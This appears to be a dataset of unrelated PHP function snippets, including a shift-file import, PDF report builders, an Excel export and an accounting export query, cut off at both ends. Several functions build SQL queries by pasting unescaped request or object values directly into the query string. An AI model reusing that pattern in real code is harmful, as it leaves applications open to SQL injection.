1;\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t$this->db->trans_complete();\n\n\t\t\t$object['refresh'] = 7;\n\t\t\t$object['refresh_text'] = 'Data Shift Karyawan berhasil di-upload';\n\t\t\t$object['refresh_url'] = 'employee_shift';\n\n\t\t\t//redirect('member_browse');\n\n\t\t\t$this->template->write_view('content', 'refresh', $object);\n\t\t\t$this->template->render();\n\n\t\t} else {\n\n\t\t\t\t$object['refresh_text'] = 'File Excel yang Anda upload bukan file Shift Karyawan atau file tersebut rusak. Umumnya karena di dalam file diberi warna baik pada teks maupun cell. Harap periksa kembali file Excel Anda.<br><br>SARAN: Coba pilih semua teks dan ubah warna menjadi \"Automatic\". Sebaiknya tidak ada warna pada teks, kolom dan baris dalam file Excel Anda.';\n\t\t\t\t$object['refresh_url'] = 'employee_shift/browse_result';\n\t\t\t\t$object['jag_module'] = $this->jagmodule;\n\t\t\t\t$object['error_code'] = '002';\n\t\t\t\t$object['page_title'] = 'Error '.strtoupper($object['jag_module']['web_module']).': '.$object['jag_module']['web_trans'];\n\t\t\t\t$this->template->write_view('content', 'errorweb', $object);\n\t\t\t\t$this->template->render();\n\n\t\t}\n\n\t}", "function Cuerpo($acceso,$id_fam,$id_unidad,$impresion)\n\t{\n\t\t$this->SetFont('Arial','',8);\n\t\t\n\t\tif($id_fam!='' && $id_fam!=\"0\" ){\n\t\t\t$bus=$bus.\" and id_fam='$id_fam'\";\n\t\t\t\n\t\t\t$acceso->objeto->ejecutarSql(\"SELECT nombre_fam FROM familia where id_fam='$id_fam'\");\n\t\t\t$row=row($acceso);\n\t\t\t$this->SetX(15);\n\t\t\t$this->Cell(50,6,strtoupper(_(\"familia\")).\": \".utf8_decode(trim($row[\"nombre_fam\"])),\"0\",0,\"J\",$fill);\n\t\t}\n\n\t\tif($id_unidad!='' && $id_unidad!=\"0\" ){\n\t\t\t$bus=$bus.\" and id_unidad='$id_unidad'\";\n\t\t\t\n\t\t\t$acceso->objeto->ejecutarSql(\"SELECT nombre_unidad FROM unidad_medida where id_unidad='$id_unidad'\");\n\t\t\t$row=row($acceso);\n\t\t\t$this->Cell(50,6,strtoupper(_(\"unidad medida\")).\": \".utf8_decode(trim($row[\"nombre_unidad\"])),\"0\",0,\"J\",$fill);\n\t\t}\n\n\t\tif($impresion!='' && $impresion!=\"0\" ){\n\t\t\t$bus=$bus.\" and impresion='$impresion'\";\n\t\t\t$val=array(\"T\"=>\"SI\",\"F\"=>\"NO\");\n\t\t\t$this->Cell(50,6,strtoupper(_(\"para impresion\")).\": \".$val[\"$impresion\"],\"0\",0,\"J\",$fill);\n\t\t}\n\n\t\t\n\t\t$w=$this->TituloCampos();\n\t\t$bus=\" where id_m <>'' \";\n\n\t\tif($id_fam!='' && $id_fam!=\"0\" ){\n\t\t\t$bus=$bus.\" and id_fam='$id_fam'\";\n\t\t}\n\t\tif($id_unidad!='' && $id_unidad!=\"0\" ){\n\t\t\t$bus=$bus.\" and id_unidad='$id_unidad'\";\n\t\t}\n\t\tif($impresion!='' && $impresion!=\"0\" ){\n\t\t\t$bus=$bus.\" and impresion='$impresion'\";\n\t\t}\n\t\t$acceso->objeto->ejecutarSql(\"SELECT numero_mat,nombre_mat,nombre_fam,nombre_unidad FROM vista_matpadre $bus\");\n\t\t\n\t\t$this->SetFont('Arial','',9);\n\t\t$cont=1;\n\t\t$this->SetFillColor(249,249,249);\n\t\t$this->SetTextColor(0);\n\t\t\n\t\twhile ($row=row($acceso))\n\t\t{\n\t\t\t$this->SetX(15);\n\t\t\t/*$this->Cell($w[0],6,$cont,\"L\",0,\"C\",$fill);*/\n\t\t\t$this->Cell($w[0],6,utf8_decode(trim($row[\"numero_mat\"])),\"L\",0,\"J\",$fill);\n\t\t\t$this->Cell($w[1],6,utf8_decode(trim($row[\"nombre_mat\"])),\"0\",0,\"J\",$fill);\n\t\t\t$this->Cell($w[2],6,utf8_decode(trim($row[\"nombre_fam\"])),\"0\",0,\"J\",$fill);\n\t\t\t$this->Cell($w[3],6,utf8_decode(trim($row[\"nombre_unidad\"])),\"R\",0,\"J\",$fill);\n\n\t\t\t$this->Ln();\n\t\t\t$fill=!$fill;\n\t\t\t$cont++;\n\t\t}\n\t\t$this->SetX(15);\n\t\t$this->Cell(array_sum($w),5,'','T');\n\t}", "function contador($nombretabla, $BDImportRecambios,$ConsultaImp) {\n\t// Inicializamos array\n $Tresumen['n'] = 0; //nuevo\n $Tresumen['t'] = 0; //total\n $Tresumen['e'] = 0; //existe\n\t$Tresumen['v'] = 0; //existe\n\t\n\t// Contamos los registros que tiene la tabla\n \t$total = 0;\n $whereC = '';\n $total = $ConsultaImp->contarRegistro($BDImportRecambios,$nombretabla,$whereC);\n $Tresumen['t'] = $total; // total registros\n\t\t\n // Obtenemos lineas de registro en blanco y contamos cuantas\n\t$whereC = \" WHERE trim(Estado) = ''\";\n\t$campo[1]= 'RefFabPrin';\n\t$campo[2]= 'linea';\n\t$RegistrosBlanco = $ConsultaImp->registroLineas($BDImportRecambios,$nombretabla,$campo,$whereC);\n\t// Como queremos devolver javascript los creamos\n\t$Tresumen['v'] = $RegistrosBlanco['NItems'];\n\t$Tresumen['LineasRegistro'] = $RegistrosBlanco; //Registros en blanco\n \n \n\t// Contamos los registros que tiene la tabla nuevo\n\t$total = 0;\n\t$whereC = \" WHERE Estado = 'nuevo'\";\n $total = $ConsultaImp->contarRegistro($BDImportRecambios,$nombretabla,$whereC);\n $Tresumen['n'] = $total; //nuevo\n\t\n\t\n\t\n\t\n\t\n\t\n\t// Contamos los registros que tiene la tabla existente\n\t$total = 0;\n\t$whereC = \" WHERE Estado = 'existe'\";\n $total = $ConsultaImp->contarRegistro($BDImportRecambios,$nombretabla,$whereC);\n\t$Tresumen['e'] = $total; //existe\n return $Tresumen;\n}", "public function bExamen_l(){\r\n\t\t $c=0;\r\n $sql=\"select * from texamen where descripcion like'$this->descripcion%' and tipo='LABORATORIO' \";\r\n\t\t$cursor=parent::ejecuta_sql($sql);\t\t \r\n\t\tif($row= parent::proxima_tupla($cursor))\r\n\t\t {\r\n\t\t\t DO{\r\n\t\t\t \t$fila[$c][1]=$row[\"id_examen\"];\r\n\t\t\t\t$fila[$c][2]=$row[\"descripcion\"];\r\n\t\t\t\t$fila[$c][3]=$row[\"tipo\"];\r\n\t\t\t\t$c++;\r\n\t\t\t\t}while($row= parent::proxima_tupla($cursor));\r\n\t\t }\t\t\r\n\t\tif ( $fila>0 )\r\n\t\t\treturn $fila;\r\n\t\telse\r\n\t\t\treturn -1;\r\n\t\t\t\r\n\t\t\tparent::cerrar_bd();\r\n }", "public function transferencia($row){\n\n // Data de Saida\n $this->SetFont('Times','B',10);\n $this->Cell(25, 6, utf8_decode(\"Data Saída: \"), 'LTB', 0, '');\n $this->SetFont('Times','',10);\n $this->Cell(25, 6, utf8_decode($row->data_saida), 'TBR', 0, '');\n // Origem\n $this->SetFont('Times','B',10);\n $this->Cell(20, 6, utf8_decode(\"Origem: \"), 'LTB', 0, '');\n $this->SetFont('Times','',10);\n $this->Cell(40, 6, utf8_decode($row->origem_nome), 'TBR', 0, '');\n\n $this->Ln();\n\n // Data de Entrada\n $this->SetFont('Times','B',10);\n $this->Cell(25, 6, utf8_decode(\"Data Entrada: \"), 'LTB', 0, '');\n $this->SetFont('Times','',10);\n $this->Cell(25, 6, utf8_decode($row->data_saida), 'TBR', 0, '');\n // Destino\n $this->SetFont('Times','B',10);\n $this->Cell(20, 6, utf8_decode(\"Destino: \"), 'LTB', 0, '');\n $this->SetFont('Times','',10);\n $this->Cell(40, 6, utf8_decode($row->destino_nome), 'TBR', 0, '');\n\n $this->Ln(10);\n\n\n // Status\n $this->SetFont('Times','B',10);\n $this->Cell(20, 6, utf8_decode(\"Status: \"), 1, 0, '');\n $this->SetFont('Times','',10);\n $this->Cell(30, 6, utf8_decode($row->status_nome), 'TBR', 0, '');\n\n // Peso Total\n $this->SetFont('Times','B',10);\n $this->Cell(25, 6, utf8_decode(\"Peso Total: \"), 1, 0, '');\n $this->SetFont('Times','',10);\n $this->Cell(25, 6, utf8_decode($row->saida_peso_total), 'TBR', 0, '');\n\n // Permanencia\n $this->SetFont('Times','B',10);\n $this->Cell(25, 6, utf8_decode(\"Perm. Média: \"), 1, 0, '');\n $this->SetFont('Times','',10);\n $this->Cell(25, 6, utf8_decode($row->permanencia_media), 'TBR', 0, '');\n\n // Machos\n $this->Ln();\n $this->SetFont('Times','B',10);\n $this->Cell(20, 6, utf8_decode(\"Machos: \"), 1, 0, '');\n $this->SetFont('Times','',10);\n $this->Cell(30, 6, utf8_decode($row->machos), 'TBR', 0, '');\n\n // Peso Medio\n $this->SetFont('Times','B',10);\n $this->Cell(25, 6, utf8_decode(\"Peso Médio: \"), 1, 0, '');\n $this->SetFont('Times','',10);\n $this->Cell(25, 6, utf8_decode($row->saida_peso_medio), 'TBR', 0, '');\n\n // Ganho Dia Medio\n $this->SetFont('Times','B',10);\n $this->Cell(25, 6, utf8_decode(\"Ganho/Dia: \"), 1, 0, '');\n $this->SetFont('Times','',10);\n $this->Cell(25, 6, utf8_decode($row->ganho_medio_media), 'TBR', 0, '');\n\n // Femeas\n $this->Ln();\n $this->SetFont('Times','B',10);\n $this->Cell(20, 6, utf8_decode(\"Femeas:\"), 1, 0, '');\n $this->SetFont('Times','',10);\n $this->Cell(30, 6, utf8_decode($row->femeas), 'TBR', 0, '');\n\n // Ganho Total\n $this->SetFont('Times','B',10);\n $this->Cell(25, 6, utf8_decode(\"Ganho Total: \"), 1, 0, '');\n $this->SetFont('Times','',10);\n $this->Cell(25, 6, utf8_decode($row->ganho_total), 'TBR', 0, '');\n\n // Maior Peso \n $this->SetFont('Times','B',10);\n $this->Cell(25, 6, utf8_decode(\"Maior Peso: \"), 1, 0, '');\n $this->SetFont('Times','',10);\n $this->Cell(25, 6, utf8_decode($row->saida_maior_peso), 'TBR', 0, '');\n\n // Total\n $this->Ln();\n $this->SetFont('Times','B',10);\n $this->Cell(20, 6, utf8_decode(\"Total:\"), 1, 0, '');\n $this->SetFont('Times','',10);\n $this->Cell(30, 6, utf8_decode($row->quantidade), 'TBR', 0, '');\n\n // Ganho Total Medio\n $this->SetFont('Times','B',10);\n $this->Cell(25, 6, utf8_decode(\"Ganho Médio: \"), 1, 0, '');\n $this->SetFont('Times','',10);\n $this->Cell(25, 6, utf8_decode($row->ganho_total_media), 'TBR', 0, '');\n \n // Menor Peso\n $this->SetFont('Times','B',10);\n $this->Cell(25, 6, utf8_decode(\"Menor Peso: \"), 1, 0, '');\n $this->SetFont('Times','',10);\n $this->Cell(25, 6, utf8_decode($row->saida_menor_peso), 'TBR', 0, '');\n\n $this->Ln(6);\n }", "function fnEnqueteInfo($intEnquete,&$smarty) {\n\tglobal $conexao;\n\t\n\t$query = \"\tSELECT\n\t\t\t\t\tbn_id AS indice,\n\t\t\t\t\tbn_id,\n\t\t\t\t\tbt_nome,\n\t\t\t\t\tbt_texto,\n\t\t\t\t\tbn_template_home,\n\t\t\t\t\tbn_template_lista,\n\t\t\t\t\tbn_template_conteudo,\n\t\t\t\t\tbn_template_resultado\n\t\t\t\tFROM\n\t\t\t\t\ttb_enquete\n\t\t\t\tWHERE\n\t\t\t\t\t\".($intEnquete != '' ? \" bn_id = '\".$intEnquete.\"' \tAND \" : \"\").\"\n\t\t\t\t\tbn_template_conteudo \tIS NOT NULL \t\t\t\tAND\n\t\t\t\t\tbb_ativo\t\t\t\t= 1\n\t\t\t\tORDER BY\n\t\t\t\t\tbn_id DESC\n\t\t\t\tLIMIT 0,1;\";\n\t$arr\t\t= $conexao->getAssoc($query,false,NULL,DB_FETCHMODE_ASSOC,false);\n\t$arr\t\t= reset($arr);\n\tif(is_array($arr)) {\n\t\treturn $arr;\n\t} else {\n\t\treturn false;\n\t}\n}", "private function _downloadSnLogExcel($dataProvider) {\r\n $objPHPExcel = new \\PHPExcel();\r\n \r\n // Set document properties\r\n $objPHPExcel->getProperties()\r\n ->setCreator(\"wuliu.youjian8.com\")\r\n ->setLastModifiedBy(\"wuliu.youjian8.com\")\r\n ->setTitle(\"youjian logistics order\")\r\n ->setSubject(\"youjian logistics order\")\r\n ->setDescription(\"youjian logistics order\")\r\n ->setKeywords(\"youjian logistics order\")\r\n ->setCategory(\"youjian logistics order\");\r\n $datas = $dataProvider->query->all();\r\n if ($datas) {\r\n $objPHPExcel->setActiveSheetIndex(0)\r\n ->setCellValue('A1', '编号')\r\n ->setCellValue('B1', '票号')\r\n ->setCellValue('C1', '金额')\r\n ->setCellValue('D1', '实收金额')\r\n ->setCellValue('E1', '交款人')\r\n ->setCellValue('F1', '收款人')\r\n ->setCellValue('G1', '收款时间')\r\n ->setCellValue('H1', '送货状态')\r\n ->setCellValue('I1', '收款状态')\r\n ->setCellValue('J1', '备注');\r\n $i = 2;\r\n foreach ($datas as $model) {\r\n // Add some data\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('A'.$i, $model->number);\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('B'.$i, $model->order_sn);\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValueExplicit('C'.$i, ''.$model->amount);\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('D'.$i, $model->rel_amount);\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('E'.$i, $model->receiving);\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('F'.$i, ArrayHelper::getValue($model, 'userTrueName.user_truename'));\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('G'.$i, date(\"Y-m-d H:i\", $model->add_time));\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('H'.$i, $model->getOrderState());\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('I'.$i, $model->getGoodsPriceState());\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('J'.$i, $model->getRemarkExcel());\r\n $i++;\r\n }\r\n }\r\n \r\n // Rename worksheet\r\n $objPHPExcel->getActiveSheet()->setTitle('票号收款列表');\r\n \r\n \r\n // Set active sheet index to the first sheet, so Excel opens this as the first sheet\r\n $objPHPExcel->setActiveSheetIndex(0);\r\n \r\n \r\n // Redirect output to a client’s web browser (Excel5)\r\n header('Content-Type: application/vnd.ms-excel');\r\n header('Content-Disposition: attachment;filename=\"票号收款列表.xls\"');\r\n header('Cache-Control: max-age=0');\r\n // If you're serving to IE 9, then the following may be needed\r\n header('Cache-Control: max-age=1');\r\n \r\n // If you're serving to IE over SSL, then the following may be needed\r\n header ('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\r\n header ('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); // always modified\r\n header ('Cache-Control: cache, must-revalidate'); // HTTP/1.1\r\n header ('Pragma: public'); // HTTP/1.0\r\n \r\n $objWriter = \\PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\r\n $objWriter->save('php://output');\r\n exit;\r\n }", "public function consultarCatalogArc() {\n \t\t$existen = false;\n \t\t$this->conn = new Conexion('../../php/datosServer.php');\n\t\t\t$this->conn = $this->conn->conectar();\n\t\t\t\n\t\t\t\t $sql = \"CALL consultarCatalog('archivos');\"; \n\t\t\t\t\t$info = '<div class=\"animated fadeInDown BtnShadow\" id=\"resultados\">\n\t\t\t\t\t<span class=\"label warning\" style=\"margin: 8px;\"><i class=\"fa fa-list-alt fa-lg\"></i> Catálogo de Archivos</span><br>\n\t\t\t\t\t\t <div class=\"form-item\">\n\t\t\t\t\t <input data-tipso=\"Escribe una palabra clave.\" type=\"text\" id=\"resultados\" placeholder=\"Filtrar Resultados\" class=\"filterBoxy\">\n\t\t\t\t\t </div>\t\t\t\t\n\t\t\t\t\t<table class=\"flat tableLines\">\n \t \t\t\t\t<tr class=\"titleTable\"><th>Archivo</th>\n \t \t\t\t\t<th>Fecha</th>\n\t\t\t \t\t<th>Eliminar</th>\n\t\t\t\t\t\t</tr><tbody id=\"resultadoBus\">';\n\t\n\t\t\t\n\t\t\t$result = $this->conn->query($sql);\n if ($result->num_rows > 0) {\n while($row = $result->fetch_array(MYSQLI_NUM)) {\n\t\t\t\t\t\tif (preg_match('/.doc/',$row[0]) || preg_match('/.docx/',$row[0])) $arch = '<i class=\"fa fa-file-word-o fa-lg\"></i> '.$row[0];\n\t\t\t\t\t\tif (preg_match('/.xls/',$row[0]) || preg_match('/.xlsx/',$row[0])) $arch = '<i class=\"fa fa-file-excel-o fa-lg\"></i> '.$row[0]; \n\t\t\t\t\t\tif (preg_match('/.pdf/',$row[0]) || preg_match('/.PDF/',$row[0])) $arch = '<i class=\"fa fa-file-pdf-o fa-lg\"></i> '.$row[0]; \t\n \t\n \t$info .= '<tr id=\"'.$row[2].'\"><td><a class=\"enlaces\" href=\"../docs/'.$row[0].'\" target=\"_blank\">'.$arch.'</a></td>';\n \t$info .= '<td>'.$row[1].'</td><td id=\"'.$row[0].'\"><span id=\"edit-arch\" style=\"cursor: pointer;\" class=\"label badge error\"><i class=\"fa fa-remove fa-lg\"></i></span></td></tr>';\n \t}\n \t$info .= '</tbody></table></div>';\n \t\n \t$info .= '\n\t\t\t\t\t\t\t<script type=\"text/javascript\" src=\"../js/table-filter.js\"></script> \t\n \t';\n $existen = true;\n }\n \n if($existen == true) {\n \t\techo $info;\n \t}else echo -1;\n $this->conn->close();\n \t\t}", "function gerar(){\r\n\t\tif(strlen($this->estabelecimento->getdircontabil()) == 0){\r\n\t\t\t$_SESSION[\"ERROR\"] = \"Informe o diret&oacute;rio de integra&ccedil;&atilde;o cont&aacute;bil para o estabelecimento.<br><a onclick=\\\"$.messageBox('close'); openProgram('Estabel','codestabelec=\".$this->estabelecimento->getcodestabelec().\"')\\\">Clique aqui</a> para abrir o cadastro de estabelecimento.\";\r\n\t\t\techo messagebox(\"error\", \"\", $_SESSION[\"ERROR\"]);\r\n\t\t\treturn FALSE;\r\n\t\t}\r\n\r\n\t\tif($this->gerar_financeiro){\r\n\t\t\t$query = \"SELECT codlancto, data, debito, credito, LPAD(valorliquido::text,17,'0') AS valorliquido, historicopadrao, complemento, ccdb, cccr, pagrec FROM \";\r\n\r\n\t\t\t$query .= \"( \";\r\n\t\t\t$query .= \"SELECT lancamento.codlancto, lpad(Extract('Day' From lancamento.dtliquid::date)::text,2,'0')|| '/' || lpad(Extract('Month' From lancamento.dtliquid::date)::TEXT, 2, '0') AS data, \";\r\n\t\t\t$query .= \"contaparceiro.contacontabil as debito, contabanco.contacontabil AS credito, \";\r\n\t\t\t$query .= \"lancamento.valorparcela AS valorliquido, historicopadrao.descricao AS historicopadrao, \";\r\n\t\t\t$query .= \"lancamento.numnotafis || v_parceiro.nome AS complemento, '' as CCDB, \";\r\n\t\t\t$query .= \"'' AS CCCR , lancamento.pagrec \";\r\n\t\t\t$query .= \"FROM lancamento \";\r\n\t\t\t$query .= \"INNER JOIN v_parceiro ON (lancamento.codparceiro = v_parceiro.codparceiro AND lancamento.tipoparceiro = v_parceiro.tipoparceiro) \";\r\n\t\t\t$query .= \"INNER join banco on (lancamento.codbanco = banco.codbanco) \";\r\n\t\t\t$query .= \"LEFT JOIN planocontas AS contaparceiro on (v_parceiro.codconta = contaparceiro.codconta) \";\r\n\t\t\t$query .= \"LEFT JOIN planocontas AS contabanco on (banco.codconta = contabanco.codconta) \";\r\n\t\t\t$query .= \"LEFT JOIN historicopadrao ON (contaparceiro.codhistorico = historicopadrao.codhistorico) \";\r\n\t\t\t$query .= \"WHERE EXTRACT(YEAR FROM lancamento.dtliquid) = '{$this->ano}' AND lancamento.codestabelec = {$this->estabelecimento->getcodestabelec()} \";\r\n\t\t\t$query .= \" AND EXTRACT(MONTH FROM lancamento.dtliquid) = '{$this->mes}' AND (SUBSTR(lancamento.serie,1,3) != 'TRF' OR lancamento.serie is null) \";\r\n\r\n\t\t\t$query .= \"union all \";\r\n\r\n\t\t\t$query .= \"SELECT codlancto AS codlancto, \tlpad(Extract('Day' From lancamento.dtliquid::date)::text,2,'0')|| '/' || lpad(Extract('Month' From lancamento.dtliquid::date)::TEXT, 2, '0') AS data, \";\r\n\t\t\t$query .= \"(SELECT contacontabil FROM planocontas WHERE codconta=(SELECT codconta FROM banco WHERE codbanco=(SELECT codbanco FROM lancamento AS lanc_aux WHERE lanc_aux.dtliquid=lancamento.dtliquid AND serie='TRF' AND lanc_aux.horalog=lancamento.horalog AND pagrec='R' limit 1))) AS debito, \";\r\n\t\t\t$query .= \"(CASE WHEN pagrec='P' THEN contabanco.contacontabil END) AS credito, \";\r\n\t\t\t$query .= \"lancamento.valorparcela AS valorliquido, \";\r\n\t\t\t$query .= \"historicopadrao.descricao AS historicopadrao, \";\r\n\t\t\t$query .= \"lancamento.numnotafis || v_parceiro.nome AS complemento, \";\r\n\t\t\t$query .= \"'' as CCDB, \";\r\n\t\t\t$query .= \"'' AS CCCR, \";\r\n\t\t\t$query .= \"'T' AS pagrec \";\r\n\t\t\t$query .= \"FROM lancamento INNER JOIN v_parceiro ON (lancamento.codparceiro = v_parceiro.codparceiro AND lancamento.tipoparceiro = v_parceiro.tipoparceiro) \";\r\n\t\t\t$query .= \"INNER join banco on (lancamento.codbanco = banco.codbanco) \";\r\n\t\t\t$query .= \"LEFT JOIN planocontas AS contabanco on (banco.codconta = contabanco.codconta) \";\r\n\t\t\t$query .= \"LEFT JOIN planocontas AS contaparceiro on (v_parceiro.codconta = contaparceiro.codconta) \";\r\n\t\t\t$query .= \"LEFT JOIN historicopadrao ON (contaparceiro.codhistorico = historicopadrao.codhistorico) \";\r\n\t\t\t$query .= \"WHERE SUBSTR(lancamento.serie,1,3)='TRF' AND lancamento.pagrec = 'P' \";\r\n\t\t\t$query .= \" AND EXTRACT(YEAR FROM lancamento.dtliquid) = '{$this->ano}' AND lancamento.codestabelec = {$this->estabelecimento->getcodestabelec()} \";\r\n\t\t\t$query .= \" AND EXTRACT(MONTH FROM lancamento.dtliquid) = '{$this->mes}' \";\r\n\t\t\t$query .= \"GROUP BY 1,2,3,4,5,6,7,8 \";\r\n\r\n\t\t\t$query .= \"union all \";\r\n\r\n\t\t\t$query .= \"SELECT lancamento.codlancto, lpad(Extract('Day' From lancamento.dtliquid::date)::text,2,'0')|| '/' || lpad(Extract('Month' From lancamento.dtliquid::date)::TEXT, 2, '0') AS data, \";\r\n\t\t\t$query .= \"CASE WHEN lancamento.pagrec = 'P' THEN conta_p.contacontabil ELSE conta_r.contacontabil END as debito, contabanco.contacontabil AS credito, \";\r\n\t\t\t$query .= \"lancamento.valorjuros AS valorliquido, CASE WHEN lancamento.pagrec = 'P' THEN h_p.descricao ELSE h_r.descricao END AS historicopadrao, \";\r\n\t\t\t$query .= \"lancamento.numnotafis || v_parceiro.nome AS complemento, '' as CCDB, \";\r\n\t\t\t$query .= \"'' AS CCCR , lancamento.pagrec \";\r\n\t\t\t$query .= \"FROM lancamento \";\r\n\t\t\t$query .= \"INNER JOIN v_parceiro ON (lancamento.codparceiro = v_parceiro.codparceiro AND lancamento.tipoparceiro = v_parceiro.tipoparceiro) \";\r\n\t\t\t$query .= \"INNER join banco on (lancamento.codbanco = banco.codbanco) \";\r\n\t\t\t$query .= \"LEFT JOIN paramplanodecontas ON (paramplanodecontas.codestabelec = lancamento.codestabelec) \";\r\n\t\t\t$query .= \"LEFT JOIN planocontas AS conta_p on (paramplanodecontas.codconta_valorjuros_pag = conta_p.codconta) \";\r\n\t\t\t$query .= \"LEFT JOIN planocontas AS conta_r on (paramplanodecontas.codconta_valorjuros_rec = conta_r.codconta) \";\r\n\t\t\t$query .= \"LEFT JOIN planocontas AS contabanco on (banco.codconta = contabanco.codconta) \";\r\n\t\t\t$query .= \"LEFT JOIN historicopadrao h_p ON (conta_p.codhistorico = h_p.codhistorico) \";\r\n\t\t\t$query .= \"LEFT JOIN historicopadrao h_r ON (conta_r.codhistorico = h_r.codhistorico) \";\r\n\t\t\t$query .= \"WHERE EXTRACT(YEAR FROM lancamento.dtliquid) = '{$this->ano}' AND lancamento.codestabelec = {$this->estabelecimento->getcodestabelec()} AND lancamento.valorjuros > 0 \";\r\n\t\t\t$query .= \" AND EXTRACT(MONTH FROM lancamento.dtliquid) = '{$this->mes}' \";\r\n\r\n\t\t\t$query .= \"union all \";\r\n\r\n\t\t\t$query .= \"SELECT lancamento.codlancto, lpad(Extract('Day' From lancamento.dtliquid::date)::text,2,'0')|| '/' || lpad(Extract('Month' From lancamento.dtliquid::date)::TEXT, 2, '0') AS data, \";\r\n\t\t\t$query .= \"CASE WHEN lancamento.pagrec = 'P' THEN conta_p.contacontabil ELSE conta_r.contacontabil END as debito, contabanco.contacontabil AS credito, \";\r\n\t\t\t$query .= \"lancamento.valordescto AS valorliquido, CASE WHEN lancamento.pagrec = 'P' THEN h_p.descricao ELSE h_r.descricao END AS historicopadrao, \";\r\n\t\t\t$query .= \"lancamento.numnotafis || v_parceiro.nome AS complemento, '' as CCDB, \";\r\n\t\t\t$query .= \"'' AS CCCR , lancamento.pagrec \";\r\n\t\t\t$query .= \"FROM lancamento \";\r\n\t\t\t$query .= \"INNER JOIN v_parceiro ON (lancamento.codparceiro = v_parceiro.codparceiro AND lancamento.tipoparceiro = v_parceiro.tipoparceiro) \";\r\n\t\t\t$query .= \"INNER join banco on (lancamento.codbanco = banco.codbanco) \";\r\n\t\t\t$query .= \"LEFT JOIN paramplanodecontas ON (paramplanodecontas.codestabelec = lancamento.codestabelec) \";\r\n\t\t\t$query .= \"LEFT JOIN planocontas AS conta_p on (paramplanodecontas.codconta_valordescto_pag = conta_p.codconta) \";\r\n\t\t\t$query .= \"LEFT JOIN planocontas AS conta_r on (paramplanodecontas.codconta_valordescto_rec = conta_r.codconta) \";\r\n\t\t\t$query .= \"LEFT JOIN planocontas AS contabanco on (banco.codconta = contabanco.codconta) \";\r\n\t\t\t$query .= \"LEFT JOIN historicopadrao h_p ON (conta_p.codhistorico = h_p.codhistorico) \";\r\n\t\t\t$query .= \"LEFT JOIN historicopadrao h_r ON (conta_r.codhistorico = h_r.codhistorico) \";\r\n\t\t\t$query .= \"WHERE EXTRACT(YEAR FROM lancamento.dtliquid) = '{$this->ano}' AND lancamento.codestabelec = {$this->estabelecimento->getcodestabelec()} AND lancamento.valordescto > 0 \";\r\n\t\t\t$query .= \" AND EXTRACT(MONTH FROM lancamento.dtliquid) = '{$this->mes}' \";\r\n\r\n\t\t\t$query .= \"union all \";\r\n\r\n\t\t\t$query .= \"SELECT lancamento.codlancto, lpad(Extract('Day' From lancamento.dtliquid::date)::text,2,'0')|| '/' || lpad(Extract('Month' From lancamento.dtliquid::date)::TEXT, 2, '0') AS data, \";\r\n\t\t\t$query .= \"CASE WHEN lancamento.pagrec = 'P' THEN conta_p.contacontabil ELSE conta_r.contacontabil END as debito, contabanco.contacontabil AS credito, \";\r\n\t\t\t$query .= \"lancamento.valoracresc AS valorliquido, CASE WHEN lancamento.pagrec = 'P' THEN h_p.descricao ELSE h_r.descricao END AS historicopadrao, \";\r\n\t\t\t$query .= \"lancamento.numnotafis || v_parceiro.nome AS complemento, '' as CCDB, \";\r\n\t\t\t$query .= \"'' AS CCCR , lancamento.pagrec \";\r\n\t\t\t$query .= \"FROM lancamento \";\r\n\t\t\t$query .= \"INNER JOIN v_parceiro ON (lancamento.codparceiro = v_parceiro.codparceiro AND lancamento.tipoparceiro = v_parceiro.tipoparceiro) \";\r\n\t\t\t$query .= \"INNER join banco on (lancamento.codbanco = banco.codbanco) \";\r\n\t\t\t$query .= \"LEFT JOIN paramplanodecontas ON (paramplanodecontas.codestabelec = lancamento.codestabelec) \";\r\n\t\t\t$query .= \"LEFT JOIN planocontas AS conta_p on (paramplanodecontas.codconta_valordescto_pag = conta_p.codconta) \";\r\n\t\t\t$query .= \"LEFT JOIN planocontas AS conta_r on (paramplanodecontas.codconta_valordescto_rec = conta_r.codconta) \";\r\n\t\t\t$query .= \"LEFT JOIN planocontas AS contabanco on (banco.codconta = contabanco.codconta) \";\r\n\t\t\t$query .= \"LEFT JOIN historicopadrao h_p ON (conta_p.codhistorico = h_p.codhistorico) \";\r\n\t\t\t$query .= \"LEFT JOIN historicopadrao h_r ON (conta_r.codhistorico = h_r.codhistorico) \";\r\n\t\t\t$query .= \"WHERE EXTRACT(YEAR FROM lancamento.dtliquid) = '{$this->ano}' AND lancamento.codestabelec = {$this->estabelecimento->getcodestabelec()} AND lancamento.valoracresc > 0 \";\r\n\t\t\t$query .= \" AND EXTRACT(MONTH FROM lancamento.dtliquid) = '{$this->mes}' \";\r\n\t\t\t$query .= \")AS tmp ORDER BY tmp.data, tmp.complemento, tmp.historicopadrao ASC \";\r\n\r\n\t\t\t$res = $this->con->query($query);\r\n\t\t\t$arr = $res->fetchAll(2);\r\n\r\n\t\t\t$arr_linha_contimatic = array();\r\n\t\t\t$cont = 1;\r\n\t\t\tforeach($arr as $row){\r\n\r\n\t\t\t\t$linha = $this->valor_numerico($cont, 0, 7); //\r\n\t\t\t\t$linha .= $this->valor_texto($row[\"data\"], 5); //\r\n\r\n\t\t\t\tif($row[\"pagrec\"] == \"R\"){\r\n\t\t\t\t\t$linha .= $this->valor_numerico($row[\"credito\"], 0, 7);\r\n\t\t\t\t\t$linha .= $this->valor_numerico($row[\"debito\"], 0, 7);\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$linha .= $this->valor_numerico($row[\"debito\"], 0, 7);\r\n\t\t\t\t\t$linha .= $this->valor_numerico($row[\"credito\"], 0, 